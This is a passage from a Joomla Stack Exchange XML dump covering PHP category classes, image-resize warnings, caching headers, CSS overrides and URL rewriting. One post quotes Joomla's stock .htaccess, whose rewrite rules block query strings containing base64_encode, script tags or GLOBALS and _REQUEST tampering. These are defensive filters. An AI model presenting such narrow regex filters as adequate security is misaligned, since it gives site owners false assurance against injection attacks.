window&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;&amp;lt;a target=&quot;framename&quot; href=&quot;yourlink.html&quot;&amp;gt;Text&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;br&gt;&#xA;This will open the link in the frame named &lt;strong&gt;framename&lt;/strong&gt;. It will be created if it doesn't exist.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-10-14T04:29:50.007" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13930" PostTypeId="1" AcceptedAnswerId="13931" CreationDate="2015-10-14T09:36:24.600" Score="8" ViewCount="1728" Body="&lt;p&gt;I have a thirdparty component which stores its categories in &lt;code&gt;#__categories&lt;/code&gt; table. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-----+----------------+-----------------------+-----------------------+-----&#xA;...  | extension      | title                 | alias                 | ...&#xA;-----+----------------+-----------------------+-----------------------+-----&#xA;...  | com_content    | Uncategorised         | uncategorised         | ...&#xA;-----+----------------+-----------------------+-----------------------+-----&#xA;...  | com_banners    | Sample Data-Banners   | sample-data-banners   | ...&#xA;-----+----------------+-----------------------+-----------------------+-----&#xA;...  | com_newsfeeds  | Sample Data-Newsfeeds | sample-data-newsfeeds | ...&#xA;-----+----------------+-----------------------+-----------------------+-----&#xA;...  | com_contact    | Sample Data-Contact   | sample-data-contact   | ...&#xA;-----+----------------+-----------------------+-----------------------+-----&#xA;...  | com_content    | Joomla!               | joomla                | ...&#xA;-----+----------------+-----------------------+-----------------------+-----&#xA;...  | com_thirdparty | ThirdParty Category   | thridparty-category   | ...&#xA;-----+----------------+-----------------------+-----------------------+-----&#xA;...  | ...            | ...                   | ...                   | ...&#xA;-----+----------------+-----------------------+-----------------------+-----&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can print categories from &lt;code&gt;com_banners&lt;/code&gt; or from other core components as below, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$categories = JCategories::getInstance('Banners');&#xA;$subCategories = $categories-&amp;gt;get()-&amp;gt;getChildren(true);&#xA;print_r($subCategories);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it shows &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;&lt;strong&gt;Fatal error&lt;/strong&gt;: Class 'ThirdPartyCategories' not found in ...\libraries\legacy\categories\categories.php on line 152&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;when trying to print the categories of another extension as below,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$categories = JCategories::getInstance('ThirdParty');&#xA;$subCategories = $categories-&amp;gt;get()-&amp;gt;getChildren(true);&#xA;print_r($subCategories);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What do I have to do with the legacy categories in joomla libraries ?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note: The name &lt;code&gt;ThirdParty&lt;/code&gt; is just a placeholder, could be any third&#xA;  party extension's name.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5694" LastEditorUserId="5694" LastEditDate="2015-10-14T10:08:32.983" LastActivityDate="2016-12-01T15:24:27.930" Title="How to get Categories of custom extension or third party component" Tags="|joomla-3.x|extensions|category|subcategories|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13931" PostTypeId="2" ParentId="13930" CreationDate="2015-10-14T10:19:38.587" Score="6" Body="&lt;p&gt;After doing some research, it turns out that the third party component I am using doesn't have a file created as &lt;code&gt;..\components\com_thirdparty\helpers\category.php&lt;/code&gt;  which is required to implement a class &lt;code&gt;ThirdPartyCategories&lt;/code&gt; which extends &lt;code&gt;JCategories&lt;/code&gt; in the component's helpers directory as described below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;/**&#xA; * ThirdParty Component Category Tree&#xA; */&#xA;class ThirdPartyCategories extends JCategories&#xA;{&#xA;    /**&#xA;     * Constructor&#xA;     *&#xA;     * @param   array  $options  Array of options&#xA;     */&#xA;    public function __construct($options = array())&#xA;    {&#xA;        $options['table']      = '#__thirdparty';&#xA;        $options['extension']  = 'com_thirdparty';&#xA;        $options['statefield'] = 'published';&#xA;        parent::__construct($options);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5694" LastActivityDate="2015-10-14T10:19:38.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13934" PostTypeId="1" AcceptedAnswerId="13941" CreationDate="2015-10-14T13:56:47.947" Score="2" ViewCount="339" Body="&lt;p&gt;&lt;strong&gt;Website&lt;/strong&gt;: &lt;a href=&quot;http://www.oliversdriveshaft.com&quot; rel=&quot;nofollow&quot;&gt;oliversdriveshaft.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;: There seems to be an abundance of warning text at the top of the homepage of this site that pushes the content down inconveniently. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Methods I have tried&lt;/strong&gt;: I tried uninstalling and reinstalling the template. I've tried actually going to the file and looking at the line the warning texts are referring to but am a little stuck on what to do after that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This template was first installed about two years ago and the template is joomla 1.5 compatible and it is being used on Joomla version 2.5.  So first of here is the warning messages that I am recieving:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: Division by zero in /home/oliveru0/public_html/modules/mod_bt_contentslider/classes/images.php on line 95&#xA;&#xA;Warning: Division by zero in /home/oliveru0/public_html/modules/mod_bt_contentslider/classes/images.php on line 97&#xA;&#xA;Warning: imagecreatetruecolor(): Invalid image dimensions in /home/oliveru0/public_html/modules/mod_bt_contentslider/classes/images.php on line 122&#xA;&#xA;Warning: imagealphablending() expects parameter 1 to be resource, boolean given in /home/oliveru0/public_html/modules/mod_bt_contentslider/classes/images.php on line 126&#xA;&#xA;Warning: imagesavealpha() expects parameter 1 to be resource, boolean given in /home/oliveru0/public_html/modules/mod_bt_contentslider/classes/images.php on line 127&#xA;&#xA;Warning: imagecolorallocatealpha() expects parameter 1 to be resource, boolean given in /home/oliveru0/public_html/modules/mod_bt_contentslider/classes/images.php on line 128&#xA;&#xA;Warning: imagefilledrectangle() expects parameter 1 to be resource, boolean given in /home/oliveru0/public_html/modules/mod_bt_contentslider/classes/images.php on line 129&#xA;&#xA;Warning: imagecopyresampled() expects parameter 1 to be resource, boolean given in /home/oliveru0/public_html/modules/mod_bt_contentslider/classes/images.php on line 132&#xA;&#xA;Warning: imagepng() expects parameter 1 to be resource, boolean given in /home/oliveru0/public_html/modules/mod_bt_contentslider/classes/images.php on line 135&#xA;&#xA;Warning: Division by zero in /home/oliveru0/public_html/modules/mod_bt_contentslider/classes/images.php on line 95&#xA;&#xA;Warning: Division by zero in /home/oliveru0/public_html/modules/mod_bt_contentslider/classes/images.php on line 97&#xA;&#xA;Warning: imagecreatetruecolor(): Invalid image dimensions in /home/oliveru0/public_html/modules/mod_bt_contentslider/classes/images.php on line 122&#xA;&#xA;Warning: imagealphablending() expects parameter 1 to be resource, boolean given in /home/oliveru0/public_html/modules/mod_bt_contentslider/classes/images.php on line 126&#xA;&#xA;Warning: imagesavealpha() expects parameter 1 to be resource, boolean given in /home/oliveru0/public_html/modules/mod_bt_contentslider/classes/images.php on line 127&#xA;&#xA;Warning: imagecolorallocatealpha() expects parameter 1 to be resource, boolean given in /home/oliveru0/public_html/modules/mod_bt_contentslider/classes/images.php on line 128&#xA;&#xA;Warning: imagefilledrectangle() expects parameter 1 to be resource, boolean given in /home/oliveru0/public_html/modules/mod_bt_contentslider/classes/images.php on line 129&#xA;&#xA;Warning: imagecopyresampled() expects parameter 1 to be resource, boolean given in /home/oliveru0/public_html/modules/mod_bt_contentslider/classes/images.php on line 132&#xA;&#xA;Warning: imagepng() expects parameter 1 to be resource, boolean given in /home/oliveru0/public_html/modules/mod_bt_contentslider/classes/images.php on line 135&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'll also give you guys the code to the actual file the warning text is referring to. I've also given the specific lines mentioned. You'll find them in between the asterisks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     mod_bt_contentslider - BT ContentSlider Module&#xA; * @version     1.1&#xA; * @created     Oct 2011&#xA;&#xA; * @author      BowThemes&#xA; * @email       support@bowthems.com&#xA; * @website     http://bowthemes.com&#xA; * @support     Forum - http://bowthemes.com/forum/&#xA; * @copyright   Copyright (C) 2012 Bowthemes. All rights reserved.&#xA; * @license     http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL&#xA; *&#xA; */&#xA;&#xA;// no direct access&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;jimport('joomla.filesystem.file');&#xA;&#xA;if (!class_exists('BTImageHelper')) {&#xA;    class BTImageHelper extends JObject {&#xA;        static function getImageCreateFunction($type) {&#xA;            switch ($type) {&#xA;                case 'jpeg':&#xA;                case 'jpg':&#xA;                    $imageCreateFunc = 'imagecreatefromjpeg';&#xA;                    break;&#xA;&#xA;                case 'png':&#xA;                    $imageCreateFunc = 'imagecreatefrompng';&#xA;                    break;&#xA;&#xA;                case 'bmp':&#xA;                    $imageCreateFunc = 'imagecreatefrombmp';&#xA;                    break;&#xA;&#xA;                case 'gif':&#xA;                    $imageCreateFunc = 'imagecreatefromgif';&#xA;                    break;&#xA;&#xA;                case 'vnd.wap.wbmp':&#xA;                    $imageCreateFunc = 'imagecreatefromwbmp';&#xA;                    break;&#xA;&#xA;                case 'xbm':&#xA;                    $imageCreateFunc = 'imagecreatefromxbm';&#xA;                    break;&#xA;&#xA;                default:&#xA;                    $imageCreateFunc = 'imagecreatefromjpeg';&#xA;            }&#xA;&#xA;            return $imageCreateFunc;&#xA;        }&#xA;&#xA;        static function getImageSaveFunction($type) {&#xA;            switch ($type) {&#xA;                case 'jpeg':&#xA;                    $imageSaveFunc = 'imagejpeg';&#xA;                    break;&#xA;&#xA;                case 'png':&#xA;                    $imageSaveFunc = 'imagepng';&#xA;                    break;&#xA;&#xA;                case 'bmp':&#xA;                    $imageSaveFunc = 'imagebmp';&#xA;                    break;&#xA;&#xA;                case 'gif':&#xA;                    $imageSaveFunc = 'imagegif';&#xA;                    break;&#xA;&#xA;                case 'vnd.wap.wbmp':&#xA;                    $imageSaveFunc = 'imagewbmp';&#xA;                    break;&#xA;&#xA;                case 'xbm':&#xA;                    $imageSaveFunc = 'imagexbm';&#xA;                    break;&#xA;&#xA;                default:&#xA;                    $imageSaveFunc = 'imagejpeg';&#xA;            }&#xA;&#xA;            return $imageSaveFunc;&#xA;        }&#xA;&#xA;        static function resize($imgSrc, $imgDest, $dWidth, $dHeight, $crop = true, $quality = 100) {&#xA;            $info = getimagesize($imgSrc, $imageinfo);&#xA;            $sWidth = $info[0];&#xA;            $sHeight = $info[1];&#xA;&#xA;        **LINE 95** if ($sHeight / $sWidth &amp;gt; $dHeight / $dWidth) {&#xA;                $width = $sWidth;&#xA;        **LINE 97** $height = round(($dHeight * $sWidth) / $dWidth);&#xA;                $sx = 0;&#xA;                $sy = round(($sHeight - $height) / 3);&#xA;            }&#xA;            else {&#xA;                $height = $sHeight;&#xA;                $width = round(($sHeight * $dWidth) / $dHeight);&#xA;                $sx = round(($sWidth - $width) / 2);&#xA;                $sy = 0;&#xA;            }&#xA;&#xA;            if (!$crop) {&#xA;                $sx = 0;&#xA;                $sy = 0;&#xA;                $width = $sWidth;&#xA;                $height = $sHeight;&#xA;            }&#xA;&#xA;            //echo &quot;$sx:$sy:$width:$height&quot;;die();&#xA;&#xA;            $ext = str_replace('image/', '', $info['mime']);&#xA;            $imageCreateFunc = self::getImageCreateFunction($ext);&#xA;            $imageSaveFunc = self::getImageSaveFunction(JFile::getExt($imgDest));&#xA;&#xA;            $sImage = $imageCreateFunc($imgSrc);&#xA;            **LINE 122** $dImage = imagecreatetruecolor($dWidth, $dHeight);&#xA;&#xA;            // Make transparent&#xA;            if ($ext == 'png') {&#xA;                **LINE 126** imagealphablending($dImage, false);&#xA;                **LINE 127** imagesavealpha($dImage, true);&#xA;                **LINE 128** $transparent = imagecolorallocatealpha($dImage, 255, 255, 255, 127);&#xA;            **LINE 129**    imagefilledrectangle($dImage, 0, 0, $dWidth, $dHeight, $transparent);&#xA;            }&#xA;&#xA;    **LINE 132**        imagecopyresampled($dImage, $sImage, 0, 0, $sx, $sy, $dWidth, $dHeight, $width, $height);&#xA;&#xA;            if ($ext == 'png') {&#xA;        **LINE 135**        $imageSaveFunc($dImage, $imgDest, 9);&#xA;            }&#xA;            else if ($ext == 'gif') {&#xA;                $imageSaveFunc($dImage, $imgDest);&#xA;            }&#xA;            else {&#xA;                $imageSaveFunc($dImage, $imgDest, $quality);&#xA;            }&#xA;        }&#xA;        static function createImage($imgSrc, $imgDest, $width, $height, $crop = true, $quality = 100) {&#xA;            if (JFile::exists($imgDest)) {&#xA;                $info = getimagesize($imgDest, $imageinfo);&#xA;                // Image is created&#xA;                if (($info[0] == $width) &amp;amp;&amp;amp; ($info[1] == $height)) {&#xA;                    return;&#xA;                }&#xA;            }&#xA;            self::resize($imgSrc, $imgDest, $width, $height, $crop, $quality);&#xA;        }&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4131" LastEditorUserId="4131" LastEditDate="2015-10-14T16:00:08.107" LastActivityDate="2015-10-15T11:13:23.490" Title="How to remove unwanted warning text from top of Joomla site [SOLVED]" Tags="|php|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="13935" PostTypeId="1" CreationDate="2015-10-14T14:11:49.073" Score="0" ViewCount="108" Body="&lt;p&gt;I'm trying to change the order of Articles in the Article Manager within Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as I attempt to drag an article I get glitches of varying types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In console, I am getting this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error: Syntax error, unrecognized expression: tr[sortable-group-id=47,56,61]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The numbers of the group ID are different depending on which row I'm attempting to drag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone seen this issue, or can provide pointers to the possible cause?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla is fully up to date as is jQuery.&lt;/p&gt;&#xA;" OwnerUserId="3589" LastActivityDate="2015-10-14T14:11:49.073" Title="jQuery Error in Drag and Drop?" Tags="|joomla-3.x|jquery|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13936" PostTypeId="1" AcceptedAnswerId="13946" CreationDate="2015-10-14T19:23:17.763" Score="1" ViewCount="287" Body="&lt;p&gt;I've created a module which has a number of settings, one of which uses a custom field type defined within my module. The custom field essentially generates a dropdown list which is populated with data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To decide which data should be added, though, I need to access some other parameters in the settings file. I've tried using &lt;code&gt;$this-&amp;gt;form-&amp;gt;getValue(param)&lt;/code&gt; where param is the name of the field I'm trying to access, but it returns nothing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Couldn't find anything specific in the documentation for this.&lt;/p&gt;&#xA;" OwnerUserId="7099" LastEditorUserId="7099" LastEditDate="2015-10-14T19:51:20.013" LastActivityDate="2015-12-14T19:49:01.283" Title="Calling module params from custom field type" Tags="|module|custom-module|fields|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13938" PostTypeId="1" AcceptedAnswerId="14086" CreationDate="2015-10-15T07:46:24.730" Score="7" ViewCount="549" Body="&lt;p&gt;I have a complex install of Joomla 3.4.4 with jSeblod and many other extensions. We are planning to use Varnish4 in front of the web server and because of that need to turn on proper Cache-Control headers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I cannot seem to turn on caching. Here is what I have tried:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;configuration.php&#xA;&#xA;public $caching = '1';&#xA;public $cache_handler = 'file';&#xA;public $cachetime = '30';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) Administrator-&gt;Extensions-&gt;Plugins-&gt;Page Caching is enabled&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the plugin, Browser Caching is enabled&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) With a debugger, the debugger stops in any plugin I try, but not in the cache plugin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Under Administrator-&gt;Extensions-&gt;Manage I can find the Cache plugin installed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) Under Administrator-&gt;Extensions-&gt;Discover, it is now found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6) On my own live website I get the same results, however the Cache header is &quot;Cache-Control: no-cache&quot; instead of &quot;Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;7) I have built a plugin which turns the cache on just before the Response is sent:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgSystemGtnocachies extends JPlugin&#xA;{&#xA;    function plgSystemGtnocachies( &amp;amp;$subject, $config )&#xA;    {&#xA;        parent::__construct( $subject, $config );&#xA;    }&#xA;&#xA;    function __destruct()&#xA;    {&#xA;        if (!headers_sent())&#xA;        {&#xA;            $this-&amp;gt;setCacheHeaders();&#xA;        }&#xA;    }&#xA;&#xA;    public function onAfterRender()&#xA;    {&#xA;        JApplicationWeb::allowCache( true );&#xA;        $this-&amp;gt;setCacheHeaders();&#xA;    }&#xA;&#xA;    private function setCacheHeaders()&#xA;    {&#xA;        JApplicationWeb::setHeader( 'Cache-Control', 'public, max-age=10800', true );&#xA;        JApplicationWeb::setHeader( 'Vary', 'Cookie', true );&#xA;        JApplicationWeb::setHeader( 'Pragma', '', true );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I find however is that when the function call returns to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class JEventDispatcher extends JObject&#xA;{&#xA;    public function trigger($event, $args = array())&#xA;    {&#xA;        $result = array();&#xA;&#xA;        /*&#xA;         * If no arguments were passed, we still need to pass an empty array to&#xA;         * the call_user_func_array function.&#xA;         */&#xA;        $args = (array) $args;&#xA;&#xA;        $event = strtolower($event);&#xA;&#xA;        // Check if any plugins are attached to the event.&#xA;        if (!isset($this-&amp;gt;_methods[$event]) || empty($this-&amp;gt;_methods[$event]))&#xA;        {&#xA;            // No Plugins Associated To Event!&#xA;            return $result;&#xA;        }&#xA;&#xA;        // Loop through all plugins having a method matching our event&#xA;        foreach ($this-&amp;gt;_methods[$event] as $key)&#xA;        {&#xA;            // Check if the plugin is present.&#xA;            if (!isset($this-&amp;gt;_observers[$key]))&#xA;            {&#xA;                continue;&#xA;            }&#xA;&#xA;            // Fire the event for an object based observer.&#xA;            if (is_object($this-&amp;gt;_observers[$key]))&#xA;            {&#xA;                $args['event'] = $event;&#xA;                $value = $this-&amp;gt;_observers[$key]-&amp;gt;update($args);&#xA;-------&amp;gt;&#xA;            }&#xA;            // Fire the event for a function based observer.&#xA;            elseif (is_array($this-&amp;gt;_observers[$key]))&#xA;            {&#xA;                $value = call_user_func_array($this-&amp;gt;_observers[$key]['handler'], $args);&#xA;            }&#xA;&#xA;            if (isset($value))&#xA;            {&#xA;                $result[] = $value;&#xA;            }&#xA;        }&#xA;&#xA;        return $result;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JApplicationWeb::getInstance-&amp;gt;response-&amp;gt;cacheable&lt;/code&gt; is false again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what is going on here?&lt;/p&gt;&#xA;" OwnerUserId="35" LastEditorUserId="168" LastEditDate="2015-10-15T08:46:51.107" LastActivityDate="2016-03-09T01:53:10.307" Title="Can't turn on cache in 3.4.4" Tags="|joomla-3.4|cache|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13939" PostTypeId="1" AcceptedAnswerId="13940" CreationDate="2015-10-15T08:31:18.650" Score="5" ViewCount="3745" Body="&lt;p&gt;I'm using an extension and would like to make some CSS changes, however I don't want these changes lost when I update the extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about performing a CSS override?&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-08-31T20:22:38.197" Title="How to override an extension CSS file" Tags="|joomla-3.x|extensions|overrides|css|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13940" PostTypeId="2" ParentId="13939" CreationDate="2015-10-15T08:39:33.203" Score="9" Body="&lt;p&gt;You firstly need to ensure the developer has used the correct approach for importing the CSS file, using &lt;code&gt;JHtml&lt;/code&gt;, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('stylesheet', 'mod_module/style.css', ['relative' =&amp;gt; true]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The key to this, is the &lt;code&gt;true&lt;/code&gt; argument. If this isn't defined or is &lt;code&gt;false&lt;/code&gt;, then the override isn't possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;true&lt;/code&gt; argument means the path is relative to the &lt;code&gt;/media&lt;/code&gt; directory and when importing the file, it will check the template's CSS directory first, to see if an override exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So lets take &lt;strong&gt;mod_login&lt;/strong&gt; as an example. To perform the override, you need to create a folder called &lt;strong&gt;mod_login&lt;/strong&gt; in the following directory:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;templates/YOUR_TEMPLATE/css/&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;so the result will be:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;templates/YOUR_TEMPLATE/css/mod_login/&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;One done, copy the extensions CSS file from the &lt;code&gt;media/&lt;/code&gt; folder into your newly created directory, so you will end up with:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;templates/YOUR_TEMPLATE/css/mod_login/style.css&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can then start editing this file as you wish.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2017-08-31T20:22:38.197" LastActivityDate="2017-08-31T20:22:38.197" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="13941" PostTypeId="2" ParentId="13934" CreationDate="2015-10-15T11:13:23.490" Score="1" Body="&lt;p&gt;I'll write this as an answer to people to see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The errors/warnings were a chain reaction caused by &lt;code&gt;$sWidth&lt;/code&gt; and &lt;code&gt;$sHeight&lt;/code&gt; being &lt;code&gt;0&lt;/code&gt;. I simply give the OP a conditional statement for the &lt;code&gt;resize&lt;/code&gt; function so that the code would only execute if the value was &lt;strong&gt;not&lt;/strong&gt; &lt;code&gt;0&lt;/code&gt;, as shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static function resize($imgSrc, $imgDest, $dWidth, $dHeight, $crop = true, $quality = 100) &#xA;{                   &#xA;    if ($dWidth != 0 &amp;amp;&amp;amp; $dHeight != 0)&#xA;    {&#xA;        // Code in the function to be executed&#xA;    }&#xA;    else&#xA;    {&#xA;        return;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-10-15T11:13:23.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13942" PostTypeId="1" AcceptedAnswerId="13943" CreationDate="2015-10-15T12:37:42.937" Score="0" ViewCount="2551" Body="&lt;p&gt;I am trying to accomplish clean URLs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have turned on URL Rewriting in the Global Configuration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have renamed htaccess.txt to .htaccess and left it as it is, except for RewriteBase which I changed to &lt;code&gt;RewriteBase /srv/http/joomla&lt;/code&gt; as that is where my Joomla installation resides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mod_rewrite is enabled in Apache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no .htaccess files above the Joomla installation in the file hierarchy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use a category list and follow its link that URL is nice and clean, but results in a 404 error. The old URLs that &lt;strong&gt;include&lt;/strong&gt; .../&lt;strong&gt;index.php&lt;/strong&gt;/article-name still work.&#xA;What's wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full .htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;##&#xA;# @package    Joomla&#xA;# @copyright  Copyright (C) 2005 - 2015 Open Source Matters. All rights reserved.&#xA;# @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA;##&#xA;&#xA;##&#xA;# READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE!&#xA;#&#xA;# The line just below this section: 'Options +FollowSymLinks' may cause problems&#xA;# with some server configurations.  It is required for use of mod_rewrite, but may already&#xA;# be set by your server administrator in a way that disallows changing it in&#xA;# your .htaccess file.  If using it causes your server to error out, comment it out (add # to&#xA;# beginning of line), reload your site in your browser and test your sef url's.  If they work,&#xA;# it has been set by your server administrator and you do not need it set here.&#xA;##&#xA;&#xA;## No directory listings&#xA;IndexIgnore *&#xA;&#xA;## Can be commented out if causes errors, see notes above.&#xA;Options +FollowSymlinks&#xA;Options -Indexes&#xA;&#xA;## Mod_rewrite in use.&#xA;&#xA;RewriteEngine On&#xA;&#xA;## Begin - Rewrite rules to block out some common exploits.&#xA;# If you experience problems on your site block out the operations listed below&#xA;# This attempts to block the most common type of exploit `attempts` to Joomla!&#xA;#&#xA;# Block out any script trying to base64_encode data within the URL.&#xA;RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]&#xA;# Block out any script that includes a &amp;lt;script&amp;gt; tag in URL.&#xA;RewriteCond %{QUERY_STRING} (&amp;lt;|%3C)([^s]*s)+cript.*(&amp;gt;|%3E) [NC,OR]&#xA;# Block out any script trying to set a PHP GLOBALS variable via URL.&#xA;RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]&#xA;# Block out any script trying to modify a _REQUEST variable via URL.&#xA;RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})&#xA;# Return 403 Forbidden header and show the content of the root homepage&#xA;RewriteRule .* index.php [F]&#xA;#&#xA;## End - Rewrite rules to block out some common exploits.&#xA;&#xA;## Begin - Custom redirects&#xA;#&#xA;# If you need to redirect some pages, or set a canonical non-www to&#xA;# www redirect (or vice versa), place that code here. Ensure those&#xA;# redirects use the correct RewriteRule syntax and the [R=301,L] flags.&#xA;#&#xA;## End - Custom redirects&#xA;&#xA;##&#xA;# Uncomment following line if your webserver's URL&#xA;# is not directly related to physical file paths.&#xA;# Update Your Joomla! Directory (just / for root).&#xA;##&#xA;&#xA; RewriteBase /srv/http/joomla&#xA;&#xA;## Begin - Joomla! core SEF Section.&#xA;#&#xA;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]&#xA;#&#xA;# If the requested path and file is not /index.php and the request&#xA;# has not already been internally rewritten to the index.php script&#xA;RewriteCond %{REQUEST_URI} !^/index\.php&#xA;# and the requested path and file doesn't directly match a physical file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;# and the requested path and file doesn't directly match a physical    folder&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;# internally rewrite the request to the index.php script&#xA;RewriteRule .* index.php [L]&#xA;#&#xA;## End - Joomla! core SEF Section.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7101" LastActivityDate="2015-10-16T06:50:53.457" Title="404 with active URL rewriting" Tags="|url|seo|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13943" PostTypeId="2" ParentId="13942" CreationDate="2015-10-15T15:30:34.593" Score="-1" Body="&lt;p&gt;Trivially all I had to change was comment out &lt;code&gt;RewriteBase ...&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7101" LastActivityDate="2015-10-15T15:30:34.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
